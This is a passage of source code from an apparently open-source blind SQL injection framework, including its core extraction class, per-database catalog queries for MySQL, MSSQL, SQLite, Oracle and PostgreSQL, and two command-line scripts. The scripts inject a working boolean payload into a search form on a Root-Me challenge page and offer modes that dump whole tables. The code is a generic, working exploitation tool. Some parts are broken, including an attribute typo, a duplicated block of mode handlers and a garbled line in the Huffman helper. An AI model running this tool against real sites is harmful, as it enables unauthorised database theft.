self.define_count(table_name, where) 213 | return self.binary_search(s, 32, False, True, not_char_request=True) 214 | 215 | def get_integer(self, table_name, column_name, index, where=None, order_by=None): 216 | s = self.define_string(table_name, column_name, 217 | index, where=where, order_by=order_by) 218 | return self.binary_search(s, 32, False, True) 219 | 220 | def get_length_of_string(self, table_name, column_name, index, where=None, order_by=None): 221 | s = self.define_string_len( 222 | table_name, column_name, index, where, order_by) 223 | if self.get_long_strings: 224 | result = self.binary_search(s, 32, start_val_defined=False, search_for_number=True, not_char_request=True) 225 | else: 226 | result = self.binary_search(s,self.long_string_limit,start_val_defined=True,search_for_number=True, not_char_request=True) 227 | #print (self.get_long_strings, result) 228 | return result 229 | 230 | def get_char(self, table_name, column_name, index, str_pos, where=None, order_by=None, alphabet=None): 231 | res_found = False 232 | s = self.define_string_char( 233 | table_name, column_name, index, str_pos, where, order_by) 234 | if self.char_in_position_opt: 235 | stats = self.statistics.get_char_in_position(table_name,column_name,str_pos-1) 236 | if len(stats)>=self.char_in_position_opt_count: 237 | #print (f'pos: {str_pos}') 238 | #print (f'Stats for symbol {stats}') 239 | if all([stats[0] == s for s in stats]) and stats[0] is not None: 240 | #all symbols in str_pos are the same. Maybe this symbol too? check 241 | #print(f'Check optimized symbol: {stats[0]}') 242 | res = self.binary_search_set(s,[stats[0]]) 243 | #print(f'Found after binary search {res}') 244 | #fefefe() 245 | if res!=False: 246 | #print(f'Found optimized symbol: {res}') 247 | res_found=True 248 | # huffman tree section 249 | if (res_found == False) and (alphabet is None) and (self.huffman_tree_opt == True): 250 | # check if we have enough data for huffman tree 251 | chars = self.statistics.get_chars(table_name, column_name) 252 | already_found_chars = sum([chars[k] for k in chars] ) 253 | if already_found_chars >= self.huffman_tree_limit: 254 | #enough 255 | res = self.huffman_tree_search(s,chars) 256 | if res != False: 257 | res_found = True 258 | # alphabet autocreate section (useless if huffman tree already launched) 259 | if (res_found == False) and (alphabet is None) and (self.alphabet_autocreate_opt == True) and (self.huffman_tree_opt==False): 260 | # if we have enough statistics lets create alphabet 261 | chars = self.statistics.get_chars(table_name, column_name) 262 | already_found_chars = sum([chars[k] for k in chars] ) 263 | if already_found_chars >= self.alphabet_autocreate_limit: 264 | #enough 265 | res = self.binary_search_set(s,chars.keys()) 266 | if res != False: 267 | res_found = True 268 | 269 | 270 | if res_found==False: 271 | if alphabet is None: 272 | res = chr(self.binary_search(s, self.ascii_search_limit, True)) 273 | else: 274 | res = self.binary_search_set(s,alphabet) 275 | if res == False: 276 | # Char not in alph. Process Error 277 | if self.error_processing_strategy == ErrorProcessStrategy.FULL_SEARCH: 278 | res = chr(self.binary_search(s, self.ascii_search_limit, True)) 279 | self.total_chars+=1 280 | return res 281 | 282 | def get_char_for_pool(self, chunk): 283 | return self.get_char(*chunk) 284 | 285 | def get_string(self, table_name, column_name, index, where=None, order_by=None, alphabet=None): 286 | if type(alphabet) == str: 287 | alphabet = [c for c in alphabet] 288 | l = self.get_length_of_string( 289 | table_name, column_name, index, where, order_by) 290 | logging.debug(f"length({column_name},{index}): {l}") 291 | r = "" 292 | suffix = '[...]' if (l == self.long_string_limit-1) else '' 293 | if not self.multithreaded: 294 | for i in range(l): 295 | r += self.get_char(table_name, column_name, 296 | index, i + 1, where, order_by, alphabet) 297 | 298 | return r + suffix 299 | else: 300 | with ThreadPoolExecutor(max_workers=self.threads) as pool: 301 | r = "".join(list(pool.map(self.get_char_for_pool, [ 302 | (table_name, column_name, index, i + 1, where, order_by, alphabet) for i in range(l)]))) 303 | return r + suffix 304 | 305 | def get(self, columns, table_name, where=None, order_by=None,alphabet=None): 306 | count = self.get_count(table_name, where) 307 | logging.info(f"count of rows to extract: {count}") 308 | res = [] 309 | if order_by is None: 310 | order_by = columns[0] 311 | r = [x for x in columns if x.lower() == "id"] 312 | if any(r): 313 | order_by = r[0] 314 | for i in range(count): 315 | cs = [] 316 | for column in columns: 317 | value = self.get_string(table_name, column, i + self.dbms.offset_shift, where, order_by,alphabet=alphabet) 318 | self.statistics.log(table_name,column,value) 319 | cs.append(value) 320 | logging.warning(cs) 321 | res.append(cs) 322 | return res 323 | 324 | def get_columns_with_types(self, table_name): 325 | if isinstance(self.dbms, Postgre): 326 | oid = self.get_string("pg_class", "cast(oid as TEXT)", 0, where=f"relname='{table_name}'", order_by="oid") 327 | oid = int(oid) 328 | cols = self.get(["attname", "cast(atttypid as TEXT)"], 329 | "pg_attribute", where=f"attrelid={oid} and attnum>0") 330 | types = list(set([c[1] for c in cols])) 331 | types_table = {} 332 | for typid in types: 333 | type_name = self.get_string( 334 | "pg_type", "typname", 0, where="oid={}".format(int(typid)), order_by="oid") 335 | types_table[typid] = type_name 336 | return [[col[0], types_table[col[1]]] for col in cols] 337 | else: 338 | return f"{self.dbms} not supported" 339 | 340 | def get_schemata(self, alphabet=None): 341 | if hasattr(self.dbms, "schemata_query"): 342 | if hasattr(self.dbms, "schemata_disclaimer"): 343 | logging.info(self.dbms.schemata_disclaimer) 344 | column, table, where = self.dbms.schemata_query 345 | return self.get([column], table, where=where,alphabet=alphabet) 346 | else: 347 | logging.info(f"{self.dbms} schemata request is not supported") 348 | 349 | def get_tables(self, schema, alphabet=None): 350 | if schema is None: 351 | if hasattr(self.dbms, "tables_query"): 352 | column, table, where = self.dbms.tables_query 353 | 354 | return self.get([column], table, where=where) 355 | else: 356 | logging.info(f"{self.dbms} tables request is not supported") 357 | else: 358 | if hasattr(self.dbms, "tables_schema_query"): 359 | column, table, where = self.dbms.tables_schema_query 360 | where = where.format(schema_name=schema) 361 | return self.get([column], table, where=where,alphabet=alphabet) 362 | else: 363 | logging.info(f"{self.dbms} tables request is not supported") 364 | 365 | def get_columns(self, table_name, alphabet=None): 366 | if hasattr(self.dbms, "columns_query"): 367 | column, table, where = self.dbms.columns_query 368 | columns = self.get( 369 | [column], table, where=where.format(table_name=table_name),alphabet=alphabet) 370 | return [x[0] for x in columns] 371 | else: 372 | logging.info(f"{self.dbms} columns request is not supported") 373 | 374 | def get_stats(self): 375 | return [self.total_chars,self.total_requests,float(self.total_requests)/self.total_chars] 376 | 377 | def print_stats(self): 378 | print(f'Chars found: {self.total_chars}') 379 | 380 | print(f'Total requests issued: {self.total_requests}') 381 | char_requests = self.total_requests - self.not_char_requests 382 | print(f'Only char requests issued: {char_requests}') 383 | r_p_c = float(self.total_requests)/self.total_chars 384 | print(f'Total requests per char: {r_p_c}') 385 | c_r_p_c = float(char_requests)/self.total_chars 386 | print(f'Char requests per char: {c_r_p_c}') 387 | 388 | def get_statistics(self): 389 | return self.statistics 390 | 391 | 392 | -------------------------------------------------------------------------------- /sqli_blinder/engines.py: -------------------------------------------------------------------------------- 1 | 2 | class SQLEngine: 3 | def __init__(self): 4 | 5 | self.convert_to_text="CAST({} AS TEXT)" 6 | self.string_definition = "SELECT {}" 7 | self.count_definition = "SELECT count(*) FROM (SELECT * FROM {} {})T" 8 | self.binary_set_format = '{}' 9 | 10 | 11 | 12 | def __repr__(self): 13 | return self.__class__.__name__ 14 | 15 | 16 | class MySQL(SQLEngine): 17 | 18 | def __init__(self): 19 | SQLEngine.__init__(self) 20 | 21 | self.base_from_clause = "FROM {table_name} {where} ORDER BY {order_by} limit 1 offset {row_num}" 22 | self.string_len_definition = "SELECT length({})" 23 | 24 | self.string_char_definition = "SELECT ASCII(SUBSTRING({},{},1))" 25 | 26 | self.offset_shift = 0 27 | self.schemata_disclaimer = "In MySQL schema is synonym of database." 28 | self.schemata_query = ["schema_name", 29 | "information_schema.schemata", None] 30 | self.tables_query = [ 31 | "table_name", "information_schema.tables", "table_schema <> 'information_schema'"] 32 | self.tables_schema_query = [ 33 | "table_name", "information_schema.tables", "table_schema='{schema_name}'"] 34 | self.columns_query = [ 35 | "column_name", "information_schema.columns", "table_name = '{table_name}'"] 36 | 37 | self.convert_to_text="CAST({} AS CHAR(500))" 38 | 39 | 40 | class MSSQL(SQLEngine): 41 | 42 | def __init__(self): 43 | SQLEngine.__init__(self) 44 | 45 | # Old version, could be very slow. Should be commented? 46 | self.base_from_clause = "FROM (SELECT *, ROW_NUMBER() OVER(ORDER by [{order_by}])n FROM {table_name} {where})T WHERE n={row_num}" 47 | self.offset_shift = 1 48 | # modern version FETCH - OFFSET 49 | self.base_from_clause = "FROM {table_name} {where} ORDER BY {order_by} OFFSET {row_num} ROWS FETCH NEXT 1 ROWS ONLY" 50 | self.offset_shift = 0 51 | self.string_len_definition = "SELECT len({})" 52 | self.string_char_definition = "SELECT ASCII(SUBSTRING({},{},1))" 53 | 54 | self.schemata_query = ["schema_name", 55 | "INFORMATION_SCHEMA.SCHEMATA", None] 56 | self.tables_query = ["name", "sysobjects", "xtype in ('V','U')"] 57 | self.tables_schema_query = [ 58 | "table_name", "information_schema.tables", "table_schema='{schema_name}'"] 59 | self.columns_query = [ 60 | "name", "syscolumns", "id=(select id from sysobjects where name='{table_name}')"] 61 | # tips: 62 | # cast to varchar(500), not to text. 63 | 64 | 65 | class SQLite(SQLEngine): 66 | 67 | def __init__(self): 68 | SQLEngine.__init__(self) 69 | 70 | self.base_from_clause = "FROM {table_name} {where} ORDER BY {order_by} limit 1 offset {row_num}" 71 | self.string_len_definition = "SELECT length({})" 72 | self.string_char_definition = "SELECT hex(SUBSTR({},{},1))" 73 | self.binary_set_format = "'{:02X}'" 74 | 75 | self.offset_shift = 0 76 | self.tables_query = ["sql", "sqlite_master", None] 77 | 78 | 79 | class Oracle(SQLEngine): 80 | 81 | def __init__(self): 82 | SQLEngine.__init__(self) 83 | 84 | self.base_from_clause = "FROM (SELECT a.*, ROWNUM rn FROM {table_name} a {where} ORDER BY a.{order_by}) WHERE rn={row_num}" 85 | #self.base_from_clause = "FROM (SELECT *, ROWNUM rn FROM {table_name} {where} ORDER BY {order_by}) WHERE rn={row_num}" 86 | self.string_len_definition = "SELECT LENGTH({})" 87 | self.string_char_definition = "SELECT ASCII(SUBSTR({},{},1))" 88 | 89 | self.offset_shift = 1 90 | self.schemata_query = [ 91 | "owner", "(select distinct(owner) from all_tables)", None] 92 | self.schemata_disclaimer = "Schema in oracle is the same as an user. This query returns users." 93 | self.tables_query = ["TABLE_NAME", "USER_TABLES", None] 94 | self.tables_schema_query = [ 95 | "TABLE_NAME", "ALL_TABLES", "owner=UPPER('{schema_name}')"] 96 | self.columns_query = [ 97 | "column_name", "all_tab_columns", "table_name = UPPER('{table_name}')"] 98 | 99 | 100 | class Postgre(SQLEngine): 101 | 102 | def __init__(self): 103 | SQLEngine.__init__(self) 104 | 105 | self.base_from_clause = "FROM {table_name} {where} ORDER BY {order_by} limit 1 offset {row_num}" 106 | self.string_len_definition = "SELECT LENGTH({})" 107 | self.string_char_definition = "SELECT ASCII(SUBSTRING({},{},1))" 108 | 109 | self.offset_shift = 0 110 | self.schemata_disclaimer = "In PostgreSQL another databases exists but are not accessible. So only schemata here." 111 | self.schemata_query = ["nspname", "pg_catalog.pg_namespace", None] 112 | self.tables_query = ["c.relname", "pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace", "c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)"] 113 | # remove v and m if you don"t want see views 114 | self.tables_schema_query = ["c.relname", "pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace", "c.relkind IN ('r','m','v','') AND n.nspname='{schema_name}'"] 115 | self.columns_query = ["attname", "pg_attribute", 116 | "attrelid=(SELECT oid FROM pg_class WHERE relname='{table_name}') AND attnum>0"] 117 | 118 | 119 | engines = {v.__name__.lower(): v() for v in SQLEngine.__subclasses__()} 120 | -------------------------------------------------------------------------------- /sqli_blinder/huffman_tree.py: -------------------------------------------------------------------------------- 1 | 2 | def huffman_tree(stats): 3 | 4 | total = sum([stats[k] for k in stats]) 5 | data = [(ch,stats[ch]*1./total) for ch in stats] 6 | 7 | #data_sorted = np.sort(data)[::-1] 8 | #data_sorted = sorted(data)[::-1] 9 | data_sorted = sorted(data,key=lambda x: x[1])[::-1] 10 | struct = [(x,x) for x in data_sorted] 11 | 12 | while True: 13 | a2=struct.pop() 14 | a1=struct.pop() 15 | new_val = a1[0][1]+a2[0][1] 16 | new_tree = (a1[1],a2[1]) 17 | for i in range(len(struct)): 18 | if struct[i][0][1]position: 45 | result.append(val[position]) 46 | else: 47 | result.append(None) 48 | return result 49 | -------------------------------------------------------------------------------- /sqlib.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sqli_blinder 4 | import requests 5 | import argparse 6 | import logging 7 | 8 | logging.basicConfig(level=logging.DEBUG) 9 | logging.getLogger("urllib3").setLevel(logging.WARNING) 10 | 11 | def request_func(sql): 12 | """this function must return True for sql=`1=1` and False for sql=`1=0`""" 13 | 14 | http_proxy = "http://localhost:8080" 15 | proxyDict = { 16 | "https": http_proxy, 17 | "http": http_proxy 18 | } 19 | # comment this for proxy 20 | proxyDict = None 21 | 22 | burp0_url = "http://challenge01.root-me.org/web-serveur/ch19/?action=recherche" 23 | burp0_headers = {"User-Agent": "fefefe", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", 24 | "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://challenge01.root-me.org", "Connection": "close", "Referer": "http://challenge01.root-me.org/web-serveur/ch19/?action=recherche", "Upgrade-Insecure-Requests": "1"} 25 | burp0_data = {"recherche": f"f' or ({sql}) -- "} 26 | r = requests.post(burp0_url, headers=burp0_headers, 27 | data=burp0_data, proxies=proxyDict) 28 | 29 | if r.status_code != 200 or "Unable to prepare statement" in r.text: 30 | logging.error(f"code: {r.status_code}, ошибка sql: {sql}") 31 | exit(-1) 32 | if "News system" in r.text: 33 | return True 34 | else: 35 | return False 36 | 37 | 38 | 39 | def required(arg, mode): 40 | logging.error(f"argument {arg} is required for mode {mode}") 41 | exit(-1) 42 | 43 | 44 | if __name__ == "__main__": 45 | description = "Framework for fast and convenient blind SQL injection explotation" 46 | parser = argparse.ArgumentParser(description=description) 47 | parser.add_argument("mode",help="mode - one of ['check','count','one','get','schemata','tables','columns','dump']", 48 | choices= ['check','count','one','get','schemata','tables','columns','dump']) 49 | parser.add_argument("-s","--schema", 50 | help = "schema name"); 51 | parser.add_argument("-t","--table", 52 | help = "table nmae"); 53 | parser.add_argument("-c","--column", nargs='+', 54 | help="column names. One or more, separated by space (ex, -c username password)\n expressions are acceptable (ex, -c substring(name,1,3) 'cast(id as TEXT)'") 55 | parser.add_argument("-w", "--where", 56 | help="where clause") 57 | parser.add_argument("-i", "--index", help="index of row") 58 | parser.add_argument( 59 | "--threads", help="number of threads", type=int, default=16) 60 | parser.add_argument("--dbms", help="DBMS", 61 | choices=["mysql", "mssql", "sqlite", "oracle", "postgre"]) 62 | parser.add_argument("--order-by", help="order by column name or index") 63 | parser.add_argument("-v", "--verbose", help="disable logging debug", 64 | default=False, action="store_true") 65 | parser.add_argument("--disable-position-opt", help="Disable char-in-position optimisation. For example, GUID always have same symbol dash in known position. If statistics shows that symbol is always same in same position, then check this char first.",default=False, action="store_true") 66 | parser.add_argument("--disable-alphabet-opt", help="Disable alphabet auto create optimisation. Idea of optimisation is auto build charset for search based on already found characters and narrow the scope of search",default=False, action="store_true") 67 | parser.add_argument("--disable-huffman-opt", help="Disable huffman tree optimisation. Idea of optimisation is to make search based on huffman-tree; huffman tree is built based on already found selective distribution",default=False, action="store_true") 68 | 69 | args, _ = parser.parse_known_args() 70 | 71 | if args.threads <= 0: 72 | logging.error("threads > 0") 73 | exit(-1) 74 | if args.threads == 1: 75 | multithreaded = False 76 | else: 77 | multithreaded = True 78 | 79 | if args.mode == "check": 80 | if args.dbms is None: 81 | args.dbms = "sqlite" 82 | sqlib = sqli_blinder.SQLiBlinder( 83 | request_func, args.dbms, multithreaded=multithreaded, threads=args.threads, 84 | char_in_position_opt=not args.disable_position_opt, 85 | alphabet_autocreate_opt=not args.disable_alphabet_opt, 86 | huffman_tree_opt=not args.disable_huffmant_opt) 87 | check = sqlib.check() 88 | logging.info(check) 89 | exit(0) 90 | 91 | sqlib = sqli_blinder.SQLiBlinder( 92 | request_func, args.dbms, multithreaded=multithreaded, threads=args.threads) 93 | 94 | if args.dbms is None: 95 | required("dbms", args.mode) 96 | 97 | if args.mode == "schemata": 98 | logging.info(sqlib.get_schemata()) 99 | exit(0) 100 | 101 | if args.mode == "tables": 102 | logging.info(sqlib.get_tables(args.schema)) 103 | 104 | exit(0) 105 | 106 | if args.table is None: 107 | required("table", args.mode) 108 | 109 | if args.verbose: 110 | logging.basicConfig(level=logging.INFO) 111 | 112 | if args.mode == "count": 113 | logging.info(sqlib.get_count(args.table, args.where)) 114 | exit(0) 115 | elif args.mode == "one": 116 | if args.index is None: 117 | required("index", args.mode) 118 | if args.column is None: 119 | required("column", args.mode) 120 | logging.info(sqlib.get_string(args.table, args.column, int(args.index), 121 | args.where, args.order_by)) 122 | exit(0) 123 | elif args.mode == "get": 124 | if args.column is None: 125 | required("column", args.mode) 126 | logging.info(sqlib.get(args.column, args.table, args.where, 127 | args.order_by)) 128 | exit(0) 129 | elif args.mode == "columns": 130 | logging.info(sqlib.get_columns(args.table)) 131 | exit(0) 132 | elif args.mode == "dump": 133 | columns = sqlib.get_columns(args.table) 134 | if columns is None: 135 | logging.info("No columns extracted, exiting") 136 | exit(-1) 137 | logging.info(f"columns: {columns}") 138 | logging.info(sqlib.get(columns, args.table, args.where, 139 | args.order_by)) 140 | exit(0) 141 | elif args.mode == "columns": 142 | logging.info(sqlib.get_columns(args.table)) 143 | exit(0) 144 | elif args.mode == "dump": 145 | columns = sqlib.get_columns(args.table) 146 | if columns is None: 147 | logging.info("No columns extracted, exiting") 148 | exit(-1) 149 | logging.info(f"columns: {columns}") 150 | logging.info(sqlib.get(columns, args.table, args.where, 151 | args.order_by)) 152 | exit(0) 153 | 154 | -------------------------------------------------------------------------------- /sqlib_async.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from sqli_blinder_async import SQLiBlinder 4 | import argparse 5 | import urllib3 6 | import aiohttp 7 | import asyncio 8 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 9 | 10 | 11 | async def request_func(sql): 12 | """this function must return True for sql=`1=1` and False for sql=`1=0`""" 13 | async with aiohttp.ClientSession() as sess: 14 | url = "http://challenge01.root-me.org:80/web-serveur/ch19/?action=recherche" 15 | headers = {"User-Agent": "fefefe", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://challenge01.root-me.org", "Connection": "close", "Referer": "http://challenge01.root-me.org/web-serveur/ch19/?action=recherche", "Upgrade-Insecure-Requests": "1"} 16 | data = {"recherche": "f' or (%s) -- " % sql} 17 | proxy = 'http://127.0.0.1:8080'# for burp 18 | proxy = None 19 | resp = await sess.post(url,data=data,headers=headers,proxy=proxy,ssl=False) 20 | if resp.status != 200: 21 | raise Exception('code: %d, ошибка sql: %s'%(resp.status,sql)) 22 | 23 | result = await resp.text() 24 | 25 | if 'Unable to prepare statement' in result: 26 | raise Exception('code: %d, ошибка sql: %s'%(resp.status,sql)) 27 | if 'News system' in result: 28 | return True 29 | else: 30 | return False 31 | 32 | 33 | def required(arg,mode): 34 | print ('argument %s is required for mode %s' % (arg,mode)) 35 | exit(-1) 36 | 37 | async def run(args): 38 | if args.mode == 'check': 39 | if args.dbms is None: 40 | args.dbms = 'sqlite' 41 | sqlib = SQLiBlinder(request_func,args.dbms,multithreaded=multithreaded,threads=args.threads) 42 | check = await sqlib.check() 43 | print (check) 44 | exit(0) 45 | 46 | if args.dbms is None: 47 | required('dbms',args.mode) 48 | if args.table is None: 49 | required('table',args.mode) 50 | 51 | sqlib = SQLiBlinder(request_func,args.dbms,multithreaded=multithreaded,threads=args.threads) 52 | 53 | if args.mode == 'count': 54 | print (await sqlib.get_count(args.table,args.where)) 55 | exit(0) 56 | elif args.mode == 'one': 57 | if args.index is None: 58 | required('index',args.mode) 59 | if args.column is None: 60 | required('column',args.mode) 61 | print (await sqlib.get_string(args.table,args.column,args.index,args.where,args.order_by,verbose=not args.silent)) 62 | exit(0) 63 | elif args.mode == 'get': 64 | if args.column is None: 65 | required('column',args.mode) 66 | print (await sqlib.get(args.column.split(','),args.table,args.where, 67 | args.order_by,verbose=not args.silent)) 68 | exit(0) 69 | 70 | if __name__=='__main__': 71 | parser = argparse.ArgumentParser() 72 | parser.add_argument("mode",help="mode - one of ['check','count','one','get']",choices= ['check','count','one','get']) 73 | parser.add_argument("-t","--table", 74 | help = "table nmae"); 75 | parser.add_argument("-c","--column", 76 | help="column names. For get mode could by comma separated array of columns") 77 | parser.add_argument("-w", "--where", 78 | help="where clause") 79 | parser.add_argument('-i','--index',help='index of row') 80 | parser.add_argument("--threads",help="number of threads",type=int,default=16) 81 | parser.add_argument('--dbms',help="DBMS",choices= ['mysql','mssql','sqlite','oracle','postgre']) 82 | parser.add_argument("--order-by",help="order by column name or index") 83 | parser.add_argument("-s", "--silent",help="not print output during retrieving",default=False, action='store_true') 84 | 85 | args = parser.parse_args() 86 | if args.threads <=0 : 87 | print ('threads > 0') 88 | exit(-1) 89 | if args.threads == 1: 90 | multithreaded = False 91 | else: 92 | multithreaded = True 93 | 94 | asyncio.run(run(args)) 95 | --------------------------------------------------------------------------------